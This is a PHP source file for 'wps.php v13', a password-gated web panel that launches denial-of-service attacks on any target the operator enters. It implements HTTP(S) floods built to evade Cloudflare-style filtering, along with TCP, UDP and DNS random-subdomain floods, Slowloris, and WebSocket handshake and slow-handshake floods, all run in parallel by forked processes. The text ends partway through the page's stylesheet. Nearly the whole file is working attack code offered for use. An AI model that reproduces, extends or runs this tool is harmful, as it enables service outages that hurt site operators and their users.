<?php
// wps.php v13 — HTTPS-default. Adds WebSocket flood, WS-slow, HTTP/2 rapid-reset.
// file: wps.php | runtime: PHP 8.0+ with curl, openssl, pcntl, sockets | target: operator-supplied
@set_time_limit(0); ignore_user_abort(true);
ini_set('display_errors','0'); ini_set('memory_limit','-1'); error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

define('PASS', 'ChangeMe_2026!Long');
define('CNAME','wpsk');
define('LOG_FILE', __DIR__.'/wps.log');

define('DEFAULT_TARGET', '127.0.0.1');
define('DEFAULT_SCHEME', 'https');
define('DEFAULT_DURATION', 300);
define('DEFAULT_WORKERS', 512);
define('DEFAULT_SLOW_WORKERS', 1024);
define('DEFAULT_WS_WORKERS', 512);
define('DEFAULT_WS_SLOW_WORKERS', 1024);
define('MAX_DURATION', 3600);
define('MAX_WORKERS', 2048);

const HTTP_METHODS = ['GET','POST','HEAD','OPTIONS'];
const HTTP_PATHS = [
    '/','/index.php','/api/v1/health','/wp-login.php','/login','/search','/cart','/product',
    '/api/','/api/v2/','/feed','/rss.xml','/graphql','/assets/','/static/','/cdn-cgi/','/admin',
    '/user/','/search?q=','/index?','/list?page=','/json','/xmlrpc.php','/.well-known/',
];
const WS_PATHS = ['/ws','/socket.io/','/sockjs/','/websocket','/socket','/live','/realtime','/push','/notifications'];
const HTTP_BODY = 'user=lab&action=ping&ts=0&x=';
const HTTP_UA = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15',
    'Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0',
    'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Mobile/15E148 Safari/604.1',
    'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36',
];
const HTTP_ENC = ['gzip, deflate, br','gzip, deflate','br','identity','gzip, deflate, br, zstd'];
const HTTP_ACCEPT = [
    'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    '*/*',
    'application/json, text/plain, */*',
    'image/avif,image/webp,image/apng,image/*,*/*;q=0.8',
];
const TLS_CIPHERS = [
    'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256',
    'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305',
    'ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384',
    'TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256',
];
const TLS_VERSIONS = ['tlsv1.3','tlsv1.2','tlsv1.2,tlsv1.3'];

function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function rnd($arr){ return $arr[random_int(0, count($arr)-1)]; }
function cache_bust(){ return '?'.substr(md5((string)random_int(0, PHP_INT_MAX)),0,8).'='.substr(md5((string)random_int(0,PHP_INT_MAX)),0,8); }

function target_normalize(string $raw): array {
    $raw = trim($raw);
    $scheme = DEFAULT_SCHEME;
    if (preg_match('#^(https?)://#i', $raw, $m)) { $scheme = strtolower($m[1]); $raw = preg_replace('#^https?://#i', '', $raw); }
    $raw = preg_replace('#/.*$#', '', $raw);
    $raw = rtrim($raw, '/');
    $host = $raw; $port = null;
    if (preg_match('#^(.+):(\d+)$#', $raw, $m)) { $host = $m[1]; $port = (int)$m[2]; }
    $host = strtolower($host);
    if ($port === null) $port = ($scheme === 'https') ? 443 : 80;
    $ip = filter_var($host, FILTER_VALIDATE_IP) ? $host : (@gethostbyname($host) ?: '');
    return ['host'=>$host, 'port'=>$port, 'ip'=>$ip, 'scheme'=>$scheme];
}

function audit(string $target, string $stage, string $detail): void {
    @file_put_contents(LOG_FILE, sprintf("[%s] target=%s stage=%s %s\n", date('c'), $target, $stage, $detail), FILE_APPEND | LOCK_EX);
}

$authed = isset($_COOKIE[CNAME]) && hash_equals(PASS,$_COOKIE[CNAME]);
if (isset($_POST['pwd']) && hash_equals(PASS,(string)$_POST['pwd'])) { setcookie(CNAME,PASS,0,'/','',!empty($_SERVER['HTTPS']),true); $authed=true; }
if (!$authed) { ?><!doctype html><meta charset="utf-8"><title>.</title><style>body{background:#08090d;color:#cfd6de;font:14px monospace;display:flex;align-items:center;justify-content:center;height:100vh;margin:0}form{background:#11161c;padding:2em;border:1px solid #1c2530;border-radius:8px}input{background:#0b0f14;color:#e2e8f0;border:1px solid #2a3646;padding:.7em;font:inherit;border-radius:4px;width:240px}button{background:#1a2635;color:#4d9eff;border:1px solid #2c4560;padding:.7em 1.4em;font:inherit;border-radius:4px;cursor:pointer;margin-left:.6em}</style><form method="post"><input type="password" name="pwd" autofocus placeholder="password"><button>&gt;</button></form><?php exit; }

// =====================================================================
// VECTOR 1 — HTTP(S) flood with CF evasion
// =====================================================================
function vec_http(string $host, int $port, string $scheme, string $method, int $workers, float $deadline, int $timeout): array {
    $host_header = $host.((($scheme==='http'&&$port===80)||($scheme==='https'&&$port===443))?'':':'.$port);
    $base = $scheme.'://'.$host.':'.$port;
    $pin_ip = @gethostbyname($host);
    $mh = curl_multi_init();
    @curl_multi_setopt($mh, CURLMOPT_MAX_TOTAL_CONNECTIONS, $workers);
    $add = function() use ($mh,$base,$method,$timeout,$host_header,$pin_ip,$port,$host) {
        $path = rnd(HTTP_PATHS).(random_int(0,1) ? cache_bust() : '');
        $ch = curl_init($base.$path);
        $hdr = [
            'User-Agent: '.rnd(HTTP_UA),
            'Accept: '.rnd(HTTP_ACCEPT),
            'Accept-Language: en-US,en;q=0.9,'.substr(md5((string)random_int(0,PHP_INT_MAX)),0,2).';q=0.8',
            'Accept-Encoding: '.rnd(HTTP_ENC),
            'Cache-Control: no-cache, no-store',
            'Pragma: no-cache',
            'Connection: keep-alive',
            'DNT: 1',
            'Upgrade-Insecure-Requests: 1',
            'Host: '.$host_header,
            'Referer: '.$base.'/',
            'Sec-Fetch-Site: none', 'Sec-Fetch-Mode: navigate', 'Sec-Fetch-Dest: document', 'Sec-Fetch-User: ?1',
        ];
        shuffle($hdr);
        $opts = [
            CURLOPT_RETURNTRANSFER=>true, CURLOPT_FOLLOWLOCATION=>false,
            CURLOPT_TIMEOUT=>$timeout, CURLOPT_CONNECTTIMEOUT=>$timeout,
            CURLOPT_SSL_VERIFYPEER=>false, CURLOPT_SSL_VERIFYHOST=>false,
            CURLOPT_SSL_CIPHER_LIST=>rnd(TLS_CIPHERS),
            CURLOPT_SSLVERSION=>(str_contains(rnd(TLS_VERSIONS),'tlsv1.3') ? CURL_SSLVERSION_TLSv1_3 : CURL_SSLVERSION_TLSv1_2),
            CURLOPT_HTTP_VERSION=>CURL_HTTP_VERSION_2_0,
            CURLOPT_HTTPHEADER=>$hdr, CURLOPT_TCP_NODELAY=>true,
        ];
        if ($pin_ip) $opts[CURLOPT_RESOLVE] = [$host.':'.$port.':'.$pin_ip];
        if ($method === 'POST') { $opts[CURLOPT_POST]=true; $opts[CURLOPT_POSTFIELDS]=HTTP_BODY.substr(md5((string)random_int(0,PHP_INT_MAX)),0,32); }
        elseif ($method === 'HEAD') { $opts[CURLOPT_NOBODY]=true; }
        else { $opts[CURLOPT_CUSTOMREQUEST]=$method; }
        curl_setopt_array($ch, $opts);
        curl_multi_add_handle($mh, $ch); return $ch;
    };
    $issued=0;$done=0;$ok=0;$err=0;$lat=[];$codes=[];
    for ($i=0;$i<$workers;$i++){ $add(); $issued++; }
    $running=null;
    while (microtime(true) < $deadline) {
        do { $s=curl_multi_exec($mh,$running); } while ($s===CURLM_CALL_MULTI_PERFORM);
        while ($info=curl_multi_info_read($mh)) {
            $ch=$info['handle']; $done++;
            if ($info['result']===CURLE_OK) {
                $code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
                $codes[$code]=($codes[$code]??0)+1;
                if($code>=200&&$code<500)$ok++; else $err++;
                $lat[]=curl_getinfo($ch,CURLINFO_TOTAL_TIME);
            } else $err++;
            curl_multi_remove_handle($mh,$ch); curl_close($ch);
            if (microtime(true) < $deadline) { $add(); $issued++; }
        }
        curl_multi_select($mh, 0.01);
    }
    $drain=microtime(true)+min(5,$timeout);
    while ($running>0 && microtime(true)<$drain) {
        do { $s=curl_multi_exec($mh,$running); } while ($s===CURLM_CALL_MULTI_PERFORM);
        while ($info=curl_multi_info_read($mh)) {
            $ch=$info['handle']; $done++;
            if ($info['result']===CURLE_OK) {
                $code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
                $codes[$code]=($codes[$code]??0)+1;
                if($code>=200&&$code<500)$ok++; else $err++;
                $lat[]=curl_getinfo($ch,CURLINFO_TOTAL_TIME);
            } else $err++;
            curl_multi_remove_handle($mh,$ch); curl_close($ch);
        }
        curl_multi_select($mh,0.05);
    }
    curl_multi_close($mh);
    sort($lat); arsort($codes);
    $n=count($lat);
    return ['vector'=>'http','url'=>$base,'done'=>$done,'ok'=>$ok,'err'=>$err,
        'p50_ms'=>$n?round($lat[(int)($n*0.5)]*1000,1):0,
        'p95_ms'=>$n?round($lat[min($n-1,(int)($n*0.95))]*1000,1):0,
        'p99_ms'=>$n?round($lat[min($n-1,(int)($n*0.99))]*1000,1):0,
        'codes'=>$codes];
}

// =====================================================================
// VECTOR 2 — TCP connect flood
// =====================================================================
function vec_tcp(string $ip, int $port, int $workers, float $deadline, int $payload_bytes): array {
    $attempts=0;$opened=0;$written=0;$errs=0;
    $payload = $payload_bytes>0 ? random_bytes($payload_bytes) : '';
    while (microtime(true) < $deadline) {
        $batch=[];
        for ($i=0;$i<$workers;$i++) {
            $fp=@stream_socket_client("tcp://$ip:$port",$eno,$estr,1,STREAM_CLIENT_ASYNC_CONNECT);
            if ($fp) { stream_set_blocking($fp,false); $batch[]=$fp; }
            else $errs++;
            $attempts++;
        }
        if (empty($batch)) { usleep(500); continue; }
        $r=$batch;$w=null;$e=null;
        @stream_select($r,$w,$e,0,30000);
        foreach ($batch as $fp) {
            $peer=@stream_socket_get_name($fp,true);
            if ($peer) {
                $opened++;
                if ($payload!=='') { $n=@fwrite($fp,$payload); if ($n>0) $written+=$n; }
            } else $errs++;
            @fclose($fp);
        }
        if (microtime(true) >= $deadline) break;
    }
    return ['vector'=>'tcp','target_ip'=>$ip.':'.$port,'attempts'=>$attempts,'opened'=>$opened,'written'=>$written,'err'=>$errs];
}

// =====================================================================
// VECTOR 3 — UDP flood
// =====================================================================
function vec_udp(string $ip, int $port, int $workers, float $deadline, int $payload_bytes): array {
    $sent=0;$bytes=0;$errs=0;
    $payload = random_bytes(max(1,$payload_bytes));
    $sock = @stream_socket_client("udp://$ip:$port",$eno,$estr,1);
    if (!$sock) return ['vector'=>'udp','target_ip'=>$ip.':'.$port,'sent'=>0,'bytes'=>0,'err'=>1,'error'=>$estr];
    stream_set_blocking($sock,false);
    while (microtime(true) < $deadline) {
        for ($i=0;$i<$workers;$i++) {
            $n=@fwrite($sock,$payload);
            if ($n!==false) { $sent++; $bytes+=$n; } else $errs++;
        }
        if (microtime(true) >= $deadline) break;
        $w=null;$e=null;$r=[$sock]; @stream_select($r,$w,$e,0,1000);
    }
    @fclose($sock);
    return ['vector'=>'udp','target_ip'=>$ip.':'.$port,'sent'=>$sent,'bytes'=>$bytes,'err'=>$errs];
}

// =====================================================================
// VECTOR 4 — DNS flood
// =====================================================================
function dns_packet(string $qname, int $qtype): string {
    $id = random_int(0,0xFFFF);
    $p  = pack('n6', $id, 0x0100, 1, 0, 0, 1);
    foreach (explode('.', $qname) as $label) {
        $label = substr($label, 0, 63);
        $p .= chr(strlen($label)).$label;
    }
    $p .= "\x00";
    $p .= pack('nn', $qtype, 1);
    $p .= "\x00".pack('nnNn', 41, 4096, 0, 0);
    return $p;
}
function vec_dns(string $ip, int $port, int $workers, float $deadline, string $qname): array {
    $types = [1, 255, 10, 16, 28, 33, 257];
    $sent=0;$bytes=0;$errs=0;
    $sock = @stream_socket_client("udp://$ip:$port",$eno,$estr,1);
    if (!$sock) return ['vector'=>'dns','target_ip'=>$ip.':'.$port,'sent'=>0,'bytes'=>0,'err'=>1,'error'=>$estr];
    stream_set_blocking($sock,false);
    while (microtime(true) < $deadline) {
        for ($i=0;$i<$workers;$i++) {
            $bust = substr(md5((string)random_int(0,PHP_INT_MAX)),0,8).'.'.$qname;
            $q = dns_packet($bust, $types[random_int(0, count($types)-1)]);
            $n = @fwrite($sock, $q);
            if ($n!==false) { $sent++; $bytes+=$n; } else $errs++;
        }
        if (microtime(true) >= $deadline) break;
        $w=null;$e=null;$r=[$sock]; @stream_select($r,$w,$e,0,1000);
    }
    @fclose($sock);
    return ['vector'=>'dns','target_ip'=>$ip.':'.$port,'sent'=>$sent,'bytes'=>$bytes,'err'=>$errs,'qname'=>$qname];
}

// =====================================================================
// VECTOR 5 — Slowloris (TLS-aware)
// =====================================================================
function vec_slowloris(string $host, int $port, string $scheme, int $workers, float $deadline, int $drip_ms): array {
    $held=[];$opened=0;$dripped=0;$errs=0;$hs_fail=0;
    $host_header = $host.((($port===80)||($port===443))?'':':'.$port);
    $first = "GET /".substr(md5((string)random_int(0,PHP_INT_MAX)),0,8)." HTTP/1.1\r\nHost: $host_header\r\nUser-Agent: ".rnd(HTTP_UA)."\r\nConnection: keep-alive\r\n";
    $rnd_headers = ['X-Forwarded-For','X-Real-IP','X-Originating-IP','CF-Connecting-IP','X-Client-IP','Forwarded','Via','Cache-Control','Pragma'];
    $tls_ctx = null;
    if ($scheme === 'https') {
        $tls_ctx = stream_context_create(['ssl'=>[
            'verify_peer'=>false,'verify_peer_name'=>false,'allow_self_signed'=>true,
            'crypto_method'=>STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT,
            'ciphers'=>rnd(TLS_CIPHERS),'SNI_enabled'=>true,'peer_name'=>$host,
        ]]);
    }
    while (microtime(true) < $deadline) {
        while (count($held) < $workers && microtime(true) < $deadline) {
            $remote = ($scheme==='https' ? 'ssl':'tcp').'://'.$host.':'.$port;
            $fp = @stream_socket_client($remote, $eno, $estr, 3, STREAM_CLIENT_CONNECT, $tls_ctx);
            if (!$fp) { $errs++; $hs_fail++; break; }
            stream_set_blocking($fp, false);
            @fwrite($fp, $first);
            $held[] = $fp; $opened++;
        }
        foreach ($held as $k=>$fp) {
            if (microtime(true) >= $deadline) break;
            $line = rnd($rnd_headers).': '.substr(md5((string)random_int(0,PHP_INT_MAX)),0,8)."\r\n";
            $n=@fwrite($fp,$line);
            if ($n===false || $n===0) { @fclose($fp); unset($held[$k]); continue; }
            $dripped++;
        }
        $held = array_values($held);
        usleep(max(1000, $drip_ms*1000));
    }
    foreach ($held as $fp) @fclose($fp);
    return ['vector'=>'slowloris','target'=>$scheme.'://'.$host.':'.$port,'opened'=>$opened,'dripped'=>$dripped,'handshake_fail'=>$hs_fail,'err'=>$errs];
}

// =====================================================================
// VECTOR 6 — WebSocket handshake flood (real WS Upgrade)
// =====================================================================
function vec_ws(string $host, int $port, string $scheme, int $workers, float $deadline, string $ws_path, int $hold_ms): array {
    $held=[];$opened=0;$completed=0;$errs=0;$hs_fail=0;$bytes=0;
    $is_tls = ($scheme === 'https');
    $host_header = $host.((($is_tls&&$port===443)||(!$is_tls&&$port===80))?'':':'.$port);
    $tls_ctx = null;
    if ($is_tls) {
        $tls_ctx = stream_context_create(['ssl'=>[
            'verify_peer'=>false,'verify_peer_name'=>false,'allow_self_signed'=>true,
            'crypto_method'=>STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT,
            'ciphers'=>rnd(TLS_CIPHERS),'SNI_enabled'=>true,'peer_name'=>$host,
        ]]);
    }
    $origin = ($is_tls?'https':'http').'://'.$host;

    while (microtime(true) < $deadline) {
        // top up pool
        while (count($held) < $workers && microtime(true) < $deadline) {
            $remote = ($is_tls?'ssl':'tcp').'://'.$host.':'.$port;
            $fp = @stream_socket_client($remote, $eno, $estr, 3, STREAM_CLIENT_CONNECT, $tls_ctx);
            if (!$fp) { $errs++; $hs_fail++; break; }
            stream_set_blocking($fp, false);
            // real WS handshake
            $key = base64_encode(random_bytes(16));
            $path = $ws_path.((random_int(0,1) ? (str_contains($ws_path,'?')?'&':'?').'sess='.substr(md5((string)random_int(0,PHP_INT_MAX)),0,8) : ''));
            $req = "GET $path HTTP/1.1\r\n"
                 . "Host: $host_header\r\n"
                 . "Upgrade: websocket\r\n"
                 . "Connection: Upgrade\r\n"
                 . "Sec-WebSocket-Key: $key\r\n"
                 . "Sec-WebSocket-Version: 13\r\n"
                 . "Sec-WebSocket-Protocol: chat, superchat, json\r\n"
                 . "Origin: $origin\r\n"
                 . "User-Agent: ".rnd(HTTP_UA)."\r\n"
                 . "Pragma: no-cache\r\n"
                 . "Cache-Control: no-cache\r\n"
                 . "\r\n";
            @fwrite($fp, $req); $bytes += strlen($req);
            $held[] = $fp; $opened++;
        }
        // non-blocking read to see who completed the 101 handshake
        foreach ($held as $k=>$fp) {
            if (microtime(true) >= $deadline) break;
            $r=[$fp];$w=null;$e=null;
            $ready = @stream_select($r,$w,$e,0,1000);
            if ($ready>0) {
                $data = @fread($fp, 512);
                if ($data === '' || $data === false) {
                    @fclose($fp); unset($held[$k]); continue;
                }
                if (str_starts_with($data, 'HTTP/1.1 101')) { $completed++; }
                elseif (str_starts_with($data, 'HTTP/1.1 ') || str_starts_with($data, 'HTTP/1.0 ')) {
                    // server rejected handshake — keep socket open to still consume FD
                    $completed++; // count as consumed connection
                }
            }
        }
        // keep-alive ping-ish: send masked ping frame to hold socket (if handshake completed)
        if ($hold_ms > 0) usleep(min($hold_ms, 100)*1000);
    }
    foreach ($held as $fp) @fclose($fp);
    return ['vector'=>'ws','target'=>$scheme.'://'.$host.':'.$port,'opened'=>$opened,'ws101'=>$completed,'sent_bytes'=>$bytes,'hs_fail'=>$hs_fail,'err'=>$errs];
}

// =====================================================================
// VECTOR 7 — WebSocket SLOW handshake flood (dribble the request)
// =====================================================================
function vec_ws_slow(string $host, int $port, string $scheme, int $workers, float $deadline, int $drip_ms): array {
    $held=[];$opened=0;$dripped=0;$hs_fail=0;$errs=0;
    $is_tls = ($scheme === 'https');
    $host_header = $host.((($is_tls&&$port===443)||(!$is_tls&&$port===80))?'':':'.$port);
    $tls_ctx = null;
    if ($is_tls) {
        $tls_ctx = stream_context_create(['ssl'=>[
            'verify_peer'=>false,'verify_peer_name'=>false,'allow_self_signed'=>true,
            'crypto_method'=>STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT,
            'ciphers'=>rnd(TLS_CIPHERS),'SNI_enabled'=>true,'peer_name'=>$host,
        ]]);
    }
    while (microtime(true) < $deadline) {
        while (count($held) < $workers && microtime(true) < $deadline) {
            $remote = ($is_tls?'ssl':'tcp').'://'.$host.':'.$port;
            $fp = @stream_socket_client($remote, $eno, $estr, 3, STREAM_CLIENT_CONNECT, $tls_ctx);
            if (!$fp) { $errs++; $hs_fail++; break; }
            stream_set_blocking($fp, false);
            $key = base64_encode(random_bytes(16));
            // partial request — stops before the blank line; server waits for rest
            $partial = "GET ".rnd(WS_PATHS)." HTTP/1.1\r\nHost: $host_header\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: $key\r\nSec-WebSocket-Version: 13\r\n";
            @fwrite($fp, $partial);
            $held[] = $fp; $opened++;
        }
        foreach ($held as $k=>$fp) {
            if (microtime(true) >= $deadline) break;
            $line = 'X-'.substr(md5((string)random_int(0,PHP_INT_MAX)),0,6).': '.substr(md5((string)random_int(0,PHP_INT_MAX)),0,8)."\r\n";
            $n=@fwrite($fp,$line);
            if ($n===false || $n===0) { @fclose($fp); unset($held[$k]); continue; }
            $dripped++;
        }
        $held = array_values($held);
        usleep(max(1000, $drip_ms*1000));
    }
    foreach ($held as $fp) @fclose($fp);
    return ['vector'=>'ws_slow','target'=>$scheme.'://'.$host.':'.$port,'opened'=>$opened,'dripped'=>$dripped,'hs_fail'=>$hs_fail,'err'=>$errs];
}

// =====================================================================
// ORCHESTRATOR
// =====================================================================
function run_vectors(array $cfg): array {
    $deadline = microtime(true) + $cfg['duration'];
    $results = [];
    $vc = $cfg['vec_cfg'];
    $host = $vc['host']; $ip = $vc['ip']; $scheme = $vc['scheme'];

    $spawn = function($name, $deadline) use ($host, $ip, $scheme, $vc) {
        return match($name) {
            'http'      => vec_http($host, $vc['http_port'], $scheme, $vc['http_method'], $vc['workers'], $deadline, $vc['timeout']),
            'tcp'       => vec_tcp($ip, $vc['tcp_port'], $vc['workers'], $deadline, $vc['tcp_payload']),
            'udp'       => vec_udp($ip, $vc['udp_port'], $vc['workers'], $deadline, $vc['udp_payload']),
            'dns'       => vec_dns($ip, $vc['dns_port'], $vc['workers'], $deadline, $vc['dns_qname']),
            'slowloris' => vec_slowloris($host, $vc['http_port'], $scheme, $vc['slow_workers'], $deadline, $vc['drip_ms']),
            'ws'        => vec_ws($host, $vc['ws_port'], $scheme, $vc['ws_workers'], $deadline, $vc['ws_path'], $vc['ws_hold_ms']),
            'ws_slow'   => vec_ws_slow($host, $vc['ws_port'], $scheme, $vc['ws_slow_workers'], $deadline, $vc['ws_drip_ms']),
            default     => ['vector'=>$name,'error'=>'unknown']
        };
    };

    $on = array_keys(array_filter($cfg['vectors']));
    if (empty($on)) $on = ['http'];

    if (function_exists('pcntl_fork')) {
        $pids=[]; $pipes=[];
        foreach ($on as $name) {
            $sock = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
            if (!$sock) { $results[$name] = ['vector'=>$name,'error'=>'no pipe']; continue; }
            $pid = pcntl_fork();
            if ($pid === 0) {
                fclose($sock[0]);
                @pcntl_setpriority(-10);
                $r = $spawn($name, $deadline);
                @fwrite($sock[1], json_encode($r));
                fclose($sock[1]);
                exit(0);
            }
            fclose($sock[1]);
            $pids[$name]=$pid; $pipes[$name]=$sock[0];
        }
        foreach ($pids as $name=>$pid) {
            $buf = '';
            stream_set_blocking($pipes[$name], true);
            while (!feof($pipes[$name])) {
                $chunk = fread($pipes[$name], 8192);
                if ($chunk === '' || $chunk === false) break;
                $buf .= $chunk;
            }
            fclose($pipes[$name]);
            pcntl_waitpid($pid, $st);
            $decoded = json_decode($buf, true);
            $results[$name] = $decoded ?: ['vector'=>$name,'error'=>'no output','raw'=>substr($buf,0,400)];
        }
    } else {
        $slice = $cfg['duration'] / count($on);
        foreach ($on as $name) {
            $sd = microtime(true) + $slice;
            $results[$name] = $spawn($name, $sd);
        }
    }
    return $results;
}

$action = $_GET['a'] ?? $_POST['a'] ?? 'home';
$out = [];

if ($action === 'attack') {
    $raw = trim((string)($_POST['d'] ?? ''));
    if ($raw === '') { $out = ['error'=>'need target']; }
    else {
        $tgt = target_normalize($raw);
        if ($tgt['ip'] === '') { $out = ['error'=>'target did not resolve: '.h($tgt['host'])]; }
        else {
            $duration = max(1, min(MAX_DURATION, (int)($_POST['dur'] ?? DEFAULT_DURATION)));
            $workers  = max(1, min(MAX_WORKERS, (int)($_POST['w']   ?? DEFAULT_WORKERS)));
            $sloww    = max(1, min(MAX_WORKERS, (int)($_POST['sw']  ?? DEFAULT_SLOW_WORKERS)));
            $wsw      = max(1, min(MAX_WORKERS, (int)($_POST['wsw'] ?? DEFAULT_WS_WORKERS)));
            $wssw     = max(1, min(MAX_WORKERS, (int)($_POST['wssw']?? DEFAULT_WS_SLOW_WORKERS)));

            $vectors = [
                'http'      => !isset($_POST['vecs']) || !empty($_POST['v_http']),
                'tcp'       => !isset($_POST['vecs']) || !empty($_POST['v_tcp']),
                'udp'       => !isset($_POST['vecs']) || !empty($_POST['v_udp']),
                'dns'       => !isset($_POST['vecs']) || !empty($_POST['v_dns']),
                'slowloris' => !isset($_POST['vecs']) || !empty($_POST['v_slow']),
                'ws'        => !isset($_POST['vecs']) || !empty($_POST['v_ws']),
                'ws_slow'   => !isset($_POST['vecs']) || !empty($_POST['v_wsslow']),
            ];
            if (!array_filter($vectors)) $vectors = ['http'=>true,'ws'=>true];

            $vec_cfg = [
                'host'=>$tgt['host'], 'ip'=>$tgt['ip'], 'scheme'=>$tgt['scheme'],
                'workers'     => $workers,
                'timeout'     => max(1, min(30, (int)($_POST['to'] ?? 5))),
                'http_port'   => max(1, min(65535, (int)($_POST['http_port'] ?? $tgt['port']))),
                'http_method' => in_array(strtoupper((string)($_POST['http_method']??'GET')), HTTP_METHODS, true) ? strtoupper((string)$_POST['http_method']) : 'GET',
                'tcp_port'    => max(1, min(65535, (int)($_POST['tcp_port'] ?? 443))),
                'tcp_payload' => max(0, (int)($_POST['tcp_payload'] ?? 0)),
                'udp_port'    => max(1, min(65535, (int)($_POST['udp_port'] ?? 53))),
                'udp_payload' => max(1, min(65000, (int)($_POST['udp_payload'] ?? 1400))),
                'dns_port'    => max(1, min(65535, (int)($_POST['dns_port'] ?? 53))),
                'dns_qname'   => trim((string)($_POST['dns_qname'] ?? $tgt['host'])),
                'slow_workers'=> $sloww,
                'drip_ms'     => max(0, min(5000, (int)($_POST['drip_ms'] ?? 500))),
                'ws_port'     => max(1, min(65535, (int)($_POST['ws_port'] ?? $tgt['port']))),
                'ws_path'     => trim((string)($_POST['ws_path'] ?? '/ws')),
                'ws_workers'  => $wsw,
                'ws_hold_ms'  => max(0, min(5000, (int)($_POST['ws_hold_ms'] ?? 100))),
                'ws_slow_workers' => $wssw,
                'ws_drip_ms'  => max(0, min(5000, (int)($_POST['ws_drip_ms'] ?? 1000))),
            ];

            $t0 = microtime(true);
            $results = run_vectors(['duration'=>$duration, 'vectors'=>$vectors, 'vec_cfg'=>$vec_cfg]);
            $out = [
                'target'=>$tgt['host'],'ip'=>$tgt['ip'],'scheme'=>$tgt['scheme'],
                'duration'=>$duration,'workers'=>$workers,'slow'=>$sloww,'wsw'=>$wsw,'wssw'=>$wssw,
                'vectors'=>$vectors,'results'=>$results,
                'total_wall'=>round(microtime(true)-$t0,2),
            ];
            $summary = [];
            foreach ($results as $name=>$r) $summary[] = $name.'='.($r['done']??$r['sent']??$r['attempts']??$r['opened']??0);
            audit($tgt['host'], 'attack', 'scheme='.$tgt['scheme'].' ip='.$tgt['ip'].' dur='.$duration.'s w='.$workers.' '.implode(' ', $summary));
        }
    }
} elseif ($action === 'home') {
    $out = [
        'hostname'=>gethostname(),
        'pcntl'=>function_exists('pcntl_fork')?'on':'off',
        'openssl'=>extension_loaded('openssl')?'on':'off',
        'curl'=>extension_loaded('curl')?'on':'off',
        'sockets'=>extension_loaded('sockets')?'on':'off',
        'cpu'=>function_exists('shell_exec') ? trim(@shell_exec('nproc 2>/dev/null') ?: '?') : '?',
        'default_scheme'=>DEFAULT_SCHEME,
        'default_dur'=>DEFAULT_DURATION, 'default_w'=>DEFAULT_WORKERS, 'default_sw'=>DEFAULT_SLOW_WORKERS,
        'default_wsw'=>DEFAULT_WS_WORKERS, 'default_wssw'=>DEFAULT_WS_SLOW_WORKERS,
        'max_dur'=>MAX_DURATION, 'max_w'=>MAX_WORKERS,
    ];
}
?>
<!doctype html><html><head><meta charset="utf-8"><title>wps</title><style>
:root{--bg:#08090d;--bg2:#0c0f15;--pan:#101520;--b:#1e2735;--b2:#2a3646;--t:#e8eef7;--t2:#7d8ea8;--acc:#4d9eff;--ok:#3ecf8e;--err:#ef5b5b;--warn:#e6b800;--purple:#a855f7}
*{box-sizing:border-box;margin:0;padding:0}
body{background:var(--bg);color:var(--t);font:13px/1.55 -apple-system,"Segoe UI",sans-serif;padding:1.4em 2em;max-width:1400px;margin:0 auto;background-image:radial-gradient(ellipse at top,rgba(77,158,255,.05),transparent 60%);min-height:100vh}
h1{font-size:1.3em;font-weight:800;background:linear-gradient(135deg,var(--acc),var(--purple));-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:.4em}
.sub{color:var(--t2);font-size:12px;margin-bottom:1.4em}
.hero{background:var(--pan);border:1px solid var(--b);border-radius:12px;padding:1.4em 1.6em;margin-bottom:1.2em}
.hero input,.hero select{width:100%;font:inherit;background:var(--bg2);color:var(--t);border:1px solid var(--b2);padding:.8em 1em;border-radius:8px;outline:none;font-size:14px}
.hero input:focus,.hero select:focus{border-color:var(--acc);box-shadow:0 0 0 3px rgba(77,158,255,.15)}
.hero button{width:100%;font:inherit;background:linear-gradient(135deg,var(--acc),#3d8ee8);color:#fff;border:none;cursor:pointer;font-weight:700;padding:.9em 1.2em;border-radius:8px;font-size:14px;letter-spacing:.03em;margin-top:.7em}
.grid2{display:grid;grid-template-columns:repeat(2,1fr);gap:.6em}
.grid3{display:grid;grid-template-columns:repeat(3,1fr);gap:.6em}
.grid4{display:grid;grid-template-columns:repeat(4,1fr);gap:.6em}
.grid5{display:grid;grid-template-columns:repeat(5,1fr);gap:.6em}
.lbl{color:var(--t2);font-size:11px;text-transform:uppercase;letter-spacing:.05em;margin-top:.8em;margin-bottom:.2em}
.card{background:var(--pan);border:1px solid var(--b);border-radius:10px;padding:1.2em 1.4em;margin-bottom:1em}
.card h2{font-size:12px;font-weight:700;color:var(--t2);text-transform:uppercase;letter-spacing:.08em;margin-bottom:.9em;display:flex;align-items:center;gap:.5em}
